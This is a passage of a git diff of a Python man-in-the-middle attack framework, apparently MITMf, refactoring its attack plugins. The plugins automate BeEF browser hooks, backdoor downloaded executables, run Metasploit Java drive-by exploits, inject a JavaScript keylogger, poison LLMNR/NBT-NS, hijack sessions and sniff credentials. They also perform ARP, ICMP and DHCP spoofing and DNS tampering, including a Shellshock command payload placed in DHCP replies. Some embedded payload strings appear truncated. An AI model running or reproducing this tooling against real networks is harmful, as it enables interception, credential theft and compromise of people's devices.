- url = self.url + "modules/%s?token=%s" % (id, self.token) - return requests.get(url).json() + except IndexError: + pass + + def get_sessions(self, state, value): #Helper function + try: + hooks = [] + r = requests.get(self.hookurl + self.token).json() + for v in r["hooked-browsers"][state].items(): + hooks.append(v[1][value]) + + return hooks + except Exception, e: + print "beefapi ERROR: %s" % e diff --git a/plugins/BeefAutorun.py b/plugins/BeefAutorun.py index 5df1995..0edbcd9 100644 --- a/plugins/BeefAutorun.py +++ b/plugins/BeefAutorun.py @@ -37,54 +37,51 @@ class BeefAutorun(Plugin): userconfig = ConfigObj(self.autoruncfg) self.Mode = userconfig['mode'] - if self.Mode == 'oneshot': - print '[*] Setting mode to oneshot' - elif self.Mode == 'loop': - print '[*] Setting mode to loop' - else: - sys.exit("[-] Error: unrecognized mode set in config file") self.All_modules = userconfig["ALL"] self.Targeted_modules = userconfig["targets"] - print "[*] BeEFAutorun plugin online" + print "[*] BeEFAutorun plugin online => Mode: %s" % self.Mode t = threading.Thread(name="autorun", target=self.autorun, args=(beef,)) t.setDaemon(True) t.start() def autorun(self, beef): - already_hooked = [] already_ran = [] + already_hooked = [] while True: - sessions = beef.onlineSessions() + sessions = beef.sessions_online() if len(sessions) > 0: for session in sessions: - session_ip = beef.session2host(session) + if session not in already_hooked: - logging.info("%s >> joined the horde!" % session_ip) + info = beef.hook_info(session) + logging.info("%s >> joined the horde! [id:%s, type:%s-%s, os:%s]" % (info['ip'], info['id'], info['name'], info['version'], info['os'])) already_hooked.append(session) if self.Mode == 'oneshot': if session not in already_ran: - self.execModules(session, session_ip, beef) + self.execModules(session, beef) already_ran.append(session) elif self.Mode == 'loop': - self.execModules(session, session_ip, beef) + self.execModules(session, beef) sleep(10) else: sleep(1) - def execModules(self, session, session_ip, beef): - session_browser = beef.sessionInfo(session)["BrowserName"] - session_os = beef.sessionInfo(session)["OsName"] + def execModules(self, session, beef): + session_info = beef.hook_info(session) + session_ip = session_info['ip'] + hook_browser = session_info['name'] + hook_os = session_info['os'] if len(self.All_modules) > 0: logging.info("%s >> sending generic modules" % session_ip) for module, options in self.All_modules.items(): - mod_id = beef.getModid(module) - resp = beef.runModule(session, mod_id, json.loads(options)) + mod_id = beef.module_id(module) + resp = beef.module_run(session, mod_id, json.loads(options)) if resp["success"] == 'true': logging.info('%s >> sent module %s' % (session_ip, mod_id)) else: @@ -93,16 +90,16 @@ class BeefAutorun(Plugin): logging.info("%s >> sending targeted modules" % session_ip) for os in self.Targeted_modules: - if (os in session_os) or (os == session_os): + if (os in hook_os) or (os == hook_os): browsers = self.Targeted_modules[os] if len(browsers) > 0: for browser in browsers: - if browser == session_browser: + if browser == hook_browser: modules = self.Targeted_modules[os][browser] if len(modules) > 0: for module, options in modules.items(): - mod_id = beef.getModid(module) - resp = beef.runModule(session, mod_id, json.loads(options)) + mod_id = beef.module_id(module) + resp = beef.module_run(session, mod_id, json.loads(options)) if resp["success"] == 'true': logging.info('%s >> sent module %s' % (session_ip, mod_id)) else: diff --git a/plugins/BrowserProfiler.py b/plugins/BrowserProfiler.py index 752b77c..d9d4639 100644 --- a/plugins/BrowserProfiler.py +++ b/plugins/BrowserProfiler.py @@ -29,8 +29,10 @@ class BrowserProfiler(Inject, Plugin): if 'clientprfl' in request.uri: self.dic_output = self.post2dict(request.postData) self.dic_output['ip'] = str(request.client.getClientIP()) # add the IP of the client + if self.dic_output['plugin_list'] > 0: + self.dic_output['plugin_list'] = self.dic_output['plugin_list'].split(',') pretty_output = pformat(self.dic_output) - logging.warning("%s Browser Profiler data:\n%s" % (request.client.getClientIP(), pretty_output)) + logging.warning("%s >> Browser Profiler data:\n%s" % (request.client.getClientIP(), pretty_output)) def get_payload(self): payload = """' % (self.hookip, self.beefport) + print "[*] BeEFAutorun plugin online => Mode: %s" % self.Mode t = threading.Thread(name="autorun", target=self.autorun, args=(beef,)) t.setDaemon(True) @@ -107,8 +117,10 @@ class BeefAutorun(Plugin): sleep(0.5) def add_options(self, options): + options.add_argument('--hookip', dest='hookip', help="Hook IP") options.add_argument('--beefip', dest='beefip', default='127.0.0.1', help="IP of BeEF's server [default: localhost]") options.add_argument('--beefport', dest='beefport', default='3000', help="Port of BeEF's server [default: 3000]") options.add_argument('--beefuser', dest='beefuser', default='beef', help='Username for beef [default: beef]') options.add_argument('--beefpass', dest='beefpass', default='beef', help='Password for beef [default: beef]') - options.add_argument('--autoruncfg', type=file, help='Specify a config file [default: beefautorun.cfg]') + options.add_argument('--autoruncfg', type=file, default="./config_files/beefautorun.cfg", help='Specify a config file [default: beefautorun.cfg]') + options.add_argument('--disable-inject', dest='dis_inject', action='store_true', default=True, help='Disables automatically injecting the hook url') diff --git a/plugins/BrowserProfiler.py b/plugins/BrowserProfiler.py index d9d4639..ec7f8d0 100644 --- a/plugins/BrowserProfiler.py +++ b/plugins/BrowserProfiler.py @@ -32,7 +32,7 @@ class BrowserProfiler(Inject, Plugin): if self.dic_output['plugin_list'] > 0: self.dic_output['plugin_list'] = self.dic_output['plugin_list'].split(',') pretty_output = pformat(self.dic_output) - logging.warning("%s >> Browser Profiler data:\n%s" % (request.client.getClientIP(), pretty_output)) + logging.info("%s >> Browser Profiler data:\n%s" % (request.client.getClientIP(), pretty_output)) def get_payload(self): payload = """' % (self.ip_address, beefconfig['beefport']) beef = beefapi.BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']}) - if beef.login(beefconfig['user'], beefconfig['pass']): - print "[*] Successfully logged in to BeEF" - else: + if not beef.login(beefconfig['user'], beefconfig['pass']): sys.exit("[-] Error logging in to BeEF!") - - print "[*] BeEFAutorun plugin online => Mode: %s" % self.Mode + t = threading.Thread(name="autorun", target=self.autorun, args=(beef,)) t.setDaemon(True) t.start() diff --git a/plugins/BrowserProfiler.py b/plugins/BrowserProfiler.py index 536c563..29c8644 100644 --- a/plugins/BrowserProfiler.py +++ b/plugins/BrowserProfiler.py @@ -3,19 +3,19 @@ from plugins.Inject import Inject from pprint import pformat import logging - class BrowserProfiler(Inject, Plugin): - name = "Browser Profiler" - optname = "browserprofiler" - desc = "Attempts to enumerate all browser plugins of connected clients" + name = "Browser Profiler" + optname = "browserprofiler" + desc = "Attempts to enumerate all browser plugins of connected clients" implements = ["handleResponse", "handleHeader", "connectionMade", "sendPostData"] - has_opts = False + depends = ["Inject"] + has_opts = False + req_root = False def initialize(self, options): Inject.initialize(self, options) self.html_payload = self.get_payload() self.dic_output = {} # so other plugins can access the results - print "[*] Browser Profiler online" def post2dict(self, post): #converts the ajax post to a dic dict = {} diff --git a/plugins/CacheKill.py b/plugins/CacheKill.py index 646815a..cc72a77 100644 --- a/plugins/CacheKill.py +++ b/plugins/CacheKill.py @@ -2,12 +2,13 @@ from plugins.plugin import Plugin class CacheKill(Plugin): - name = "CacheKill" - optname = "cachekill" - desc = "Kills page caching by modifying headers" - implements = ["handleHeader", "connectionMade"] - has_opts = True + name = "CacheKill" + optname = "cachekill" + desc = "Kills page caching by modifying headers" + implements = ["handleHeader", "connectionMade"] bad_headers = ['if-none-match', 'if-modified-since'] + has_opts = True + req_root = False def add_options(self, options): options.add_argument("--preserve-cookies", action="store_true", help="Preserve cookies (will allow caching in some situations).") diff --git a/plugins/FilePwn.py b/plugins/FilePwn.py index 0437d76..88d2fbc 100644 --- a/plugins/FilePwn.py +++ b/plugins/FilePwn.py @@ -55,9 +55,10 @@ from configobj import ConfigObj class FilePwn(Plugin): name = "FilePwn" optname = "filepwn" + desc = "Backdoor executables being sent over http using bdfactory" implements = ["handleResponse"] has_opts = False - desc = "Backdoor executables being sent over http using bdfactory" + req_root = False def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' @@ -98,8 +99,6 @@ class FilePwn(Plugin): self.zipblacklist = self.userConfig['ZIP']['blacklist'] self.tarblacklist = self.userConfig['TAR']['blacklist'] - print "[*] FilePwn plugin online" - def convert_to_Bool(self, aString): if aString.lower() == 'true': return True diff --git a/plugins/Inject.py b/plugins/Inject.py index db4c54c..ec5523e 100644 --- a/plugins/Inject.py +++ b/plugins/Inject.py @@ -8,17 +8,19 @@ import argparse from plugins.plugin import Plugin from plugins.CacheKill import CacheKill - class Inject(CacheKill, Plugin): - name = "Inject" - optname = "inject" + name = "Inject" + optname = "inject" implements = ["handleResponse", "handleHeader", "connectionMade"] - has_opts = True - desc = "Inject arbitrary content into HTML content" + has_opts = True + req_root = False + desc = "Inject arbitrary content into HTML content" + depends = ["CacheKill"] def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' self.options = options + self.proxyip = options.ip_address self.html_src = options.html_url self.js_src = options.js_url self.rate_limit = options.rate_limit @@ -29,13 +31,6 @@ class Inject(CacheKill, Plugin): self.match_str = options.match_str self.html_payload = options.html_payload - try: - self.proxyip = get_if_addr(options.interface) - if self.proxyip == "0.0.0.0": - sys.exit("[-] Interface %s does not have an IP address" % options.interface) - except Exception, e: - sys.exit("[-] Error retrieving interface IP address: %s" % e) - if self.white_ips: temp = [] for ip in self.white_ips.split(','): @@ -59,7 +54,6 @@ class Inject(CacheKill, Plugin): self.dtable = {} self.count = 0 self.mime = "text/html" - print "[*] Inject plugin online" def handleResponse(self, request, data): #We throttle to only inject once every two seconds per client diff --git a/plugins/JavaPwn.py b/plugins/JavaPwn.py index 68c0c2a..9d55bbe 100644 --- a/plugins/JavaPwn.py +++ b/plugins/JavaPwn.py @@ -18,11 +18,13 @@ class JavaPwn(BrowserProfiler, Plugin): name = "JavaPwn" optname = "javapwn" desc = "Performs drive-by attacks on clients with out-of-date java browser plugins" + depends = ["Browserprofiler"] has_opts = False def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' self.options = options + self.msfip = options.ip_address self.sploited_ips = [] #store ip of pwned or not vulnerable clients so we don't re-exploit try: @@ -39,13 +41,6 @@ class JavaPwn(BrowserProfiler, Plugin): self.rpcip = msfcfg['rpcip'] self.rpcpass = msfcfg['rpcpass'] - try: - self.msfip = get_if_addr(options.interface) - if self.msfip == "0.0.0.0": - sys.exit("[-] Interface %s does not have an IP address" % options.interface) - except Exception, e: - sys.exit("[-] Error retrieving interface IP address: %s" % e) - #Initialize the BrowserProfiler plugin BrowserProfiler.initialize(self, options) self.black_ips = [] @@ -58,7 +53,6 @@ class JavaPwn(BrowserProfiler, Plugin): except Exception: sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server") - print "[*] JavaPwn plugin online" t = threading.Thread(name='pwn', target=self.pwn, args=(msf,)) t.setDaemon(True) t.start() #start the main thread diff --git a/plugins/JsKeylogger.py b/plugins/JsKeylogger.py index ccbf55d..17ddde0 100644 --- a/plugins/JsKeylogger.py +++ b/plugins/JsKeylogger.py @@ -3,18 +3,18 @@ from plugins.Inject import Inject import logging class jskeylogger(Inject, Plugin): - name = "Javascript Keylogger" - optname = "jskeylogger" - desc = "Injects a javascript keylogger into clients webpages" + name = "Javascript Keylogger" + optname = "jskeylogger" + desc = "Injects a javascript keylogger into clients webpages" implements = ["handleResponse", "handleHeader", "connectionMade", "sendPostData"] - has_opts = False + depends = ["Inject"] + has_opts = False + req_root = False def initialize(self, options): Inject.initialize(self, options) self.html_payload = self.msf_keylogger() - print "[*] Javascript Keylogger plugin online" - def sendPostData(self, request): #Handle the plugin output if 'keylog' in request.uri: diff --git a/plugins/Replace.py b/plugins/Replace.py index 41ae813..b217127 100644 --- a/plugins/Replace.py +++ b/plugins/Replace.py @@ -11,11 +11,13 @@ from plugins.CacheKill import CacheKill class Replace(CacheKill, Plugin): - name = "Replace" - optname = "replace" + name = "Replace" + optname = "replace" + desc = "Replace arbitrary content in HTML content" implements = ["handleResponse", "handleHeader", "connectionMade"] - has_opts = True - desc = "Replace arbitrary content in HTML content" + depends = ["CacheKill"] + has_opts = True + req_root = False def initialize(self, options): self.options = options @@ -25,11 +27,10 @@ class Replace(CacheKill, Plugin): self.regex_file = options.regex_file if (self.search_str is None or self.search_str == "") and self.regex_file is None: - sys.exit("[*] Please provide a search string or a regex file") + sys.exit("[-] Please provide a search string or a regex file") self.regexes = [] if self.regex_file is not None: - print "[*] Loading regexes from file" for line in self.regex_file: self.regexes.append(line.strip().split("\t")) @@ -41,8 +42,6 @@ class Replace(CacheKill, Plugin): self.dtable = {} self.mime = "text/html" - print "[*] Replace plugin online" - def handleResponse(self, request, data): ip, hn, mime = self._get_req_info(request) diff --git a/plugins/Responder.py b/plugins/Responder.py index 5f04b71..f128b67 100644 --- a/plugins/Responder.py +++ b/plugins/Responder.py @@ -1,7 +1,4 @@ from plugins.plugin import Plugin -import logging -logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy -from scapy.all import get_if_addr from libs.responder.Responder import start_responder from libs.sslstrip.DnsCache import DnsCache from twisted.internet import reactor @@ -10,38 +7,29 @@ import os import threading class Responder(Plugin): - name = "Responder" - optname = "responder" - desc = "Poison LLMNR, NBT-NS and MDNS requests" + name = "Responder" + optname = "responder" + desc = "Poison LLMNR, NBT-NS and MDNS requests" has_opts = True + req_root = True def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' self.options = options self.interface = options.interface - if os.geteuid() != 0: - sys.exit("[-] Responder plugin requires root privileges") - try: config = options.configfile['Responder'] except Exception, e: sys.exit('[-] Error parsing config for Responder: ' + str(e)) - try: - self.ip_address = get_if_addr(options.interface) - if self.ip_address == "0.0.0.0": - sys.exit("[-] Interface %s does not have an IP address" % self.interface) - except Exception, e: - sys.exit("[-] Error retrieving interface IP address: %s" % e) - print "[*] Responder plugin online" DnsCache.getInstance().setCustomAddress(self.ip_address) for name in ['wpad', 'ISAProxySrv', 'RespProxySrv']: DnsCache.getInstance().setCustomRes(name, self.ip_address) - t = threading.Thread(name='responder', target=start_responder, args=(options, self.ip_address, config)) + t = threading.Thread(name='responder', target=start_responder, args=(options, options.ip_address, config)) t.setDaemon(True) t.start() diff --git a/plugins/SMBAuth.py b/plugins/SMBAuth.py index 10b028f..9835101 100644 --- a/plugins/SMBAuth.py +++ b/plugins/SMBAuth.py @@ -2,30 +2,22 @@ from plugins.plugin import Plugin from plugins.Inject import Inject import sys import logging -logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy -from scapy.all import get_if_addr - class SMBAuth(Inject, Plugin): - name = "SMBAuth" - optname = "smbauth" - desc = "Evoke SMB challenge-response auth attempts" + name = "SMBAuth" + optname = "smbauth" + desc = "Evoke SMB challenge-response auth attempts" + depends = ["Inject"] has_opts = True + req_root = False def initialize(self, options): Inject.initialize(self, options) self.target_ip = options.host self.html_payload = self._get_data() - if self.target_ip is None: - try: - self.target_ip = get_if_addr(options.interface) - if self.target_ip == "0.0.0.0": - sys.exit("[-] Interface %s does not have an IP address" % options.interface) - except Exception, e: - sys.exit("[-] Error retrieving interface IP address: %s" % e) - - print "[*] SMBAuth plugin online" + if not self.target_ip: + self.target_ip = options.ip_address def add_options(self, options): options.add_argument("--host", type=str, default=None, help="The ip address of your capture server [default: interface IP]") diff --git a/plugins/SSLstrip+.py b/plugins/SSLstrip+.py index 07cc820..a13825b 100644 --- a/plugins/SSLstrip+.py +++ b/plugins/SSLstrip+.py @@ -3,10 +3,11 @@ from libs.sslstrip.URLMonitor import URLMonitor import sys class HSTSbypass(Plugin): - name = 'SSLstrip+' - optname = 'hsts' - desc = 'Enables SSLstrip+ for partial HSTS bypass' + name = 'SSLstrip+' + optname = 'hsts' + desc = 'Enables SSLstrip+ for partial HSTS bypass' has_opts = False + req_root = False def initialize(self, options): self.options = options @@ -16,5 +17,4 @@ class HSTSbypass(Plugin): except Exception, e: sys.exit("[-] Error parsing config for SSLstrip+: " + str(e)) - print "[*] SSLstrip+ plugin online" URLMonitor.getInstance().setHstsBypass(config) diff --git a/plugins/SessionHijacker.py b/plugins/SessionHijacker.py index 7cf1b6f..9ebbca3 100644 --- a/plugins/SessionHijacker.py +++ b/plugins/SessionHijacker.py @@ -18,6 +18,7 @@ class SessionHijacker(Plugin): desc = "Performs session hijacking attacks against clients" implements = ["cleanHeaders"] #["handleHeader"] has_opts = True + req_root = False def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' @@ -48,8 +49,6 @@ class SessionHijacker(Plugin): t.setDaemon(True) t.start() - print "[*] Session Hijacker plugin online" - def cleanHeaders(self, request): # Client => Server headers = request.getAllHeaders().copy() client_ip = request.getClientIP() diff --git a/plugins/Sniffer.py b/plugins/Sniffer.py index c3bd41f..ef7be89 100644 --- a/plugins/Sniffer.py +++ b/plugins/Sniffer.py @@ -16,11 +16,12 @@ import re import os class Sniffer(Plugin): - name ='Sniffer' - optname = "sniffer" - desc = "Sniffs for various protocol login and auth attempts" + name = "Sniffer" + optname = "sniffer" + desc = "Sniffs for various protocol login and auth attempts" implements = ["sendRequest"] - has_opts = False + has_opts = False + req_root = True def initialize(self, options): self.options = options @@ -43,12 +44,12 @@ class Sniffer(Plugin): n = NetCreds() - print "[*] Sniffer plugin online" - #if not self.parse: t = threading.Thread(name="sniffer", target=n.start, args=(self.interface,)) t.setDaemon(True) t.start() + + print self.plg_text #else: # pcap = rdpcap(self.parse) # for pkt in pcap: @@ -132,7 +133,10 @@ class NetCreds: self.NTLMSSP3_re = 'NTLMSSP\x00\x03\x00\x00\x00.+' def start(self, interface): - sniff(iface=interface, prn=self.pkt_parser, store=0) + try: + sniff(iface=interface, prn=self.pkt_parser, store=0) + except Exception: + pass def frag_remover(self, ack, load): ''' diff --git a/plugins/Spoof.py b/plugins/Spoof.py index e5d37f4..21ec242 100644 --- a/plugins/Spoof.py +++ b/plugins/Spoof.py @@ -1,15 +1,15 @@ # # DNS tampering code stolen from https://github.com/DanMcInerney/dnsspoof # -# CredHarvesting code stolen from https://github.com/DanMcInerney/creds.py -# -from twisted.internet import reactor -from twisted.internet.interfaces import IReadDescriptor +#from twisted.internet import reactor +#from twisted.internet.interfaces import IReadDescriptor from plugins.plugin import Plugin from time import sleep import dns.resolver -import nfqueue +#import socket +from netfilterqueue import NetfilterQueue +#import nfqueue import logging logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy from scapy.all import * @@ -21,343 +21,434 @@ from urllib import unquote import binascii import random - class Spoof(Plugin): - name = "Spoof" - optname = "spoof" - desc = 'Redirect/Modify traffic using ICMP, ARP or DHCP' - has_opts = True + name = "Spoof" + optname = "spoof" + desc = 'Redirect/Modify traffic using ICMP, ARP or DHCP' + has_opts = True + req_root = True - def initialize(self, options): - '''Called if plugin is enabled, passed the options namespace''' - self.options = options - self.interface = options.interface - self.arp = options.arp - self.icmp = options.icmp - self.dns = options.dns - self.dhcp = options.dhcp - self.shellshock = options.shellshock - self.gateway = options.gateway - #self.summary = options.summary - self.target = options.target - self.arpmode = options.arpmode - self.port = options.listen - self.hsts = options.hsts - self.manualiptables = options.manualiptables #added by alexander.georgiev@daloo.de - self.debug = False - self.send = True + def initialize(self, options): + '''Called if plugin is enabled, passed the options namespace''' + self.options = options + self.dnscfg = options.configfile['Spoof']['DNS'] + self.dhcpcfg = options.configfile['Spoof']['DHCP'] + self.hstscfg = options.configfile['SSLstrip+'] + self.target = options.target + self.manualiptables = options.manualiptables + + #Makes scapy more verbose + debug = False + if self.options.log_level is 'debug': + debug = True - if os.geteuid() != 0: - sys.exit("[-] Spoof plugin requires root privileges") - - if self.options.log_level == 'debug': - self.debug = True + self.sysconfig = SystemConfig(options.listen) - try: - self.mac = get_if_hwaddr(self.interface) - except Exception, e: - sys.exit('[-] Error retrieving interfaces MAC address: %s' % e) - - if self.arp: - if not self.gateway: - sys.exit("[-] --arp argument requires --gateway") + if options.arp: + if not options.gateway: + sys.exit("[-] --arp argument requires --gateway") - self.routermac = getmacbyip(self.gateway) - - print "[*] ARP Spoofing enabled" - if self.arpmode == 'req': - pkt = self.build_arp_req() - elif self.arpmode == 'rep': - pkt = self.build_arp_rep() - - thread_target = self.send_packets - thread_args = (pkt, self.interface, self.debug,) + self.sysconfig.set_forwarding(1) + + if not options.manualiptables: + self.sysconfig.iptables_flush() + self.sysconfig.iptables_http() - elif self.icmp: - if not self.gateway: - sys.exit("[-] --icmp argument requires --gateway") + self.arp = _ARP(options.gateway, options.interface, options.mac_address) + self.arp.target = options.target + self.arp.arpmode = options.arpmode + self.arp.debug = debug + self.arp.start() - self.routermac = getmacbyip(self.gateway) + elif options.icmp: + if not options.gateway: + sys.exit("[-] --icmp argument requires --gateway") + if not options.target: + sys.exit("[-] --icmp argument requires --target") - print "[*] ICMP Redirection enabled" - pkt = self.build_icmp() - - thread_target = self.send_packets - thread_args = (pkt, self.interface, self.debug,) + self.sysconfig.set_forwarding(1) + + if not options.manualiptables: + self.sysconfig.iptables_flush() + self.sysconfig.iptables_http() - elif self.dhcp: - print "[*] DHCP Spoofing enabled" - if self.target: - sys.exit("[-] --target argument invalid when DCHP spoofing") + self.icmp = _ICMP(options.interface, options.target, options.gateway, options.ip_address) + self.icmp.debug = debug + self.icmp.start() - self.rand_number = [] - self.dhcp_dic = {} - self.dhcpcfg = options.configfile['Spoof']['DHCP'] - - thread_target = self.dhcp_sniff - thread_args = () - - else: - sys.exit("[-] Spoof plugin requires --arp, --icmp or --dhcp") + elif options.dhcp: + if options.target: + sys.exit("[-] --target argument invalid when DCHP spoofing") - print "[*] Spoof plugin online" - if not self.manualiptables: - os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X') + self.sysconfig.set_forwarding(1) + + if not options.manualiptables: + self.sysconfig.iptables_flush() + self.sysconfig.iptables_http() - if (self.dns or self.hsts): - print "[*] DNS Tampering enabled" - - if self.dns: - self.dnscfg = options.configfile['Spoof']['DNS'] + self.dhcp = _DHCP(options.interface, self.dhcpcfg, options.ip_address, options.mac_address) + self.dhcp.shellshock = options.shellshock + self.dhcp.debug = debug + self.dhcp.start() + + else: + sys.exit("[-] Spoof plugin requires --arp, --icmp or --dhcp") - self.hstscfg = options.configfile['SSLstrip+'] - if not self.manualiptables: - os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE') + if (options.dns or options.hsts): - self.start_dns_queue() + if not options.manualiptables: + self.sysconfig.iptables_dns() - file = open('/proc/sys/net/ipv4/ip_forward', 'w') - file.write('1') - file.close() - if not self.manualiptables: - print '[*] Setting up iptables' - os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % self.port) + self.dns = _DNS(self.dnscfg, self.hstscfg) + self.dns.dns = options.dns + self.dns.hsts = options.hsts + self.dns.start() - #CHarvester = CredHarvester() - t = threading.Thread(name='spoof_thread', target=thread_target, args=thread_args) - #t2 = threading.Thread(name='cred_harvester', target=CHarvester.start, args=(self.interface)) + def add_options(self, options): + group = options.add_mutually_exclusive_group(required=False) + group.add_argument('--arp', dest='arp', action='store_true', default=False, help='Redirect traffic using ARP spoofing') + group.add_argument('--icmp', dest='icmp', action='store_true', default=False, help='Redirect traffic using ICMP redirects') + group.add_argument('--dhcp', dest='dhcp', action='store_true', default=False, help='Redirect traffic using DHCP offers') + options.add_argument('--dns', dest='dns', action='store_true', default=False, help='Modify intercepted DNS queries') + options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', default=None, help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command') + options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP') + options.add_argument('--target', dest='target', default=None, help='Specify a host to poison [default: subnet]') + options.add_argument('--arpmode', dest='arpmode', default='req', choices=["req", "rep"], help=' ARP Spoofing mode: requests (req) or replies (rep) [default: req]') + #options.add_argument('--summary', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning') - t.setDaemon(True) - t.start() + #added by alexander.georgiev@daloo.de + options.add_argument('--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically') - def dhcp_rand_ip(self): - pool = self.dhcpcfg['ip_pool'].split('-') - trunc_ip = pool[0].split('.'); del(trunc_ip[3]) - max_range = int(pool[1]) - min_range = int(pool[0].split('.')[3]) - number_range = range(min_range, max_range) - for n in number_range: - if n in self.rand_number: - number_range.remove(n) - rand_number = random.choice(number_range) - self.rand_number.append(rand_number) - rand_ip = '.'.join(trunc_ip) + '.' + str(rand_number) + def finish(self): + if self.options.arp: + self.arp.stop() + sleep(3) - return rand_ip + self.arp.arp_inter = 1 + if self.target: + print "\n[*] Re-ARPing target" + self.arp.reArp_target(5) - def dhcp_callback(self, resp): - if resp.haslayer(DHCP): - xid = resp[BOOTP].xid - mac_addr = resp[Ether].src - raw_mac = binascii.unhexlify(mac_addr.replace(":", "")) - if xid in self.dhcp_dic.keys(): - client_ip = self.dhcp_dic[xid] - else: - client_ip = self.dhcp_rand_ip() - self.dhcp_dic[xid] = client_ip + print "\n[*] Re-ARPing network" + self.arp.reArp_net(5) - if resp[DHCP].options[0][1] == 1: - logging.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid)) - logging.info("Sending DHCP OFFER") - packet = (Ether(src=get_if_hwaddr(self.interface), dst='ff:ff:ff:ff:ff:ff') / - IP(src=get_if_addr(self.interface), dst='255.255.255.255') / - UDP(sport=67, dport=68) / - BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=get_if_addr(self.interface), xid=xid) / - DHCP(options=[("message-type", "offer"), - ('server_id', get_if_addr(self.interface)), - ('subnet_mask', self.dhcpcfg['subnet']), - ('router', get_if_addr(self.interface)), - ('lease_time', 172800), - ('renewal_time', 86400), - ('rebinding_time', 138240), - "end"])) + elif self.options.icmp: + self.icmp.stop() + sleep(3) - try: - packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server']))) - except KeyError: - pass + if (self.options.dns or self.options.hsts): + self.dns.stop() - sendp(packet, iface=self.interface, verbose=self.debug) + if not self.manualiptables: + self.sysconfig.iptables_flush() - if resp[DHCP].options[0][1] == 3: - logging.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid)) - packet = (Ether(src=get_if_hwaddr(self.interface), dst='ff:ff:ff:ff:ff:ff') / - IP(src=get_if_addr(self.interface), dst='255.255.255.255') / - UDP(sport=67, dport=68) / - BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=get_if_addr(self.interface), xid=xid) / - DHCP(options=[("message-type", "ack"), - ('server_id', get_if_addr(self.interface)), - ('subnet_mask', self.dhcpcfg['subnet']), - ('router', get_if_addr(self.interface)), - ('lease_time', 172800), - ('renewal_time', 86400), - ('rebinding_time', 138240)])) + self.sysconfig.set_forwarding(0) - try: - packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server']))) - except KeyError: - pass +class SystemConfig(): - if self.shellshock: - logging.info("Sending DHCP ACK with shellshock payload") - packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock))) - packet[DHCP].options.append("end") - else: - logging.info("Sending DHCP ACK") - packet[DHCP].options.append("end") + def __init__(self, http_redir_port): - sendp(packet, iface=self.interface, verbose=self.debug) + self.http_redir_port = http_redir_port - def dhcp_sniff(self): - sniff(filter="udp and (port 67 or 68)", prn=self.dhcp_callback, iface=self.interface) + def set_forwarding(self, value): + with open('/proc/sys/net/ipv4/ip_forward', 'w') as file: + file.write(str(value)) + file.close() - def send_packets(self, pkt, interface, debug): - while self.send: - sendp(pkt, inter=2, iface=interface, verbose=debug) + def iptables_flush(self): + os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X') - def build_icmp(self): - pkt = IP(src=self.gateway, dst=self.target)/ICMP(type=5, code=1, gw=get_if_addr(self.interface)) /\ - IP(src=self.target, dst=self.gateway)/UDP() + def iptables_http(self): + os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % self.http_redir_port) - return pkt + def iptables_dns(self): + os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num 1') - def build_arp_req(self): - if self.target is None: - pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, pdst=self.gateway) - elif self.target: - target_mac = getmacbyip(self.target) - if target_mac is None: - sys.exit("[-] Error: Could not resolve targets MAC address") +class _DHCP(): - pkt = Ether(src=self.mac, dst=target_mac)/ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=target_mac, pdst=self.target) + def __init__(self, interface, dhcpcfg, ip, mac): + self.interface = interface + self.ip_address = ip + self.mac_address = mac + self.shellshock = None + self.debug = False + self.dhcpcfg = dhcpcfg + self.rand_number = [] + self.dhcp_dic = {} - return pkt + def start(self): + t = threading.Thread(name="dhcp_spoof", target=self.dhcp_sniff, args=(self.interface,)) + t.setDaemon(True) + t.start() - def build_arp_rep(self): - if self.target is None: - pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, op=2) - elif self.target: - target_mac = getmacbyip(self.target) - if target_mac is None: - sys.exit("[-] Error: Could not resolve targets MAC address") + def dhcp_sniff(self, interface): + sniff(filter="udp and (port 67 or 68)", prn=self.dhcp_callback, iface=interface) - pkt = Ether(src=self.mac, dst=target_mac)/ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=target_mac, pdst=self.target, op=2) + def dhcp_rand_ip(self): + pool = self.dhcpcfg['ip_pool'].split('-') + trunc_ip = pool[0].split('.'); del(trunc_ip[3]) + max_range = int(pool[1]) + min_range = int(pool[0].split('.')[3]) + number_range = range(min_range, max_range) + for n in number_range: + if n in self.rand_number: + number_range.remove(n) + rand_number = random.choice(number_range) + self.rand_number.append(rand_number) + rand_ip = '.'.join(trunc_ip) + '.' + str(rand_number) - return pkt + return rand_ip - def resolve_domain(self, domain): - try: - #logging.info("Resolving -> 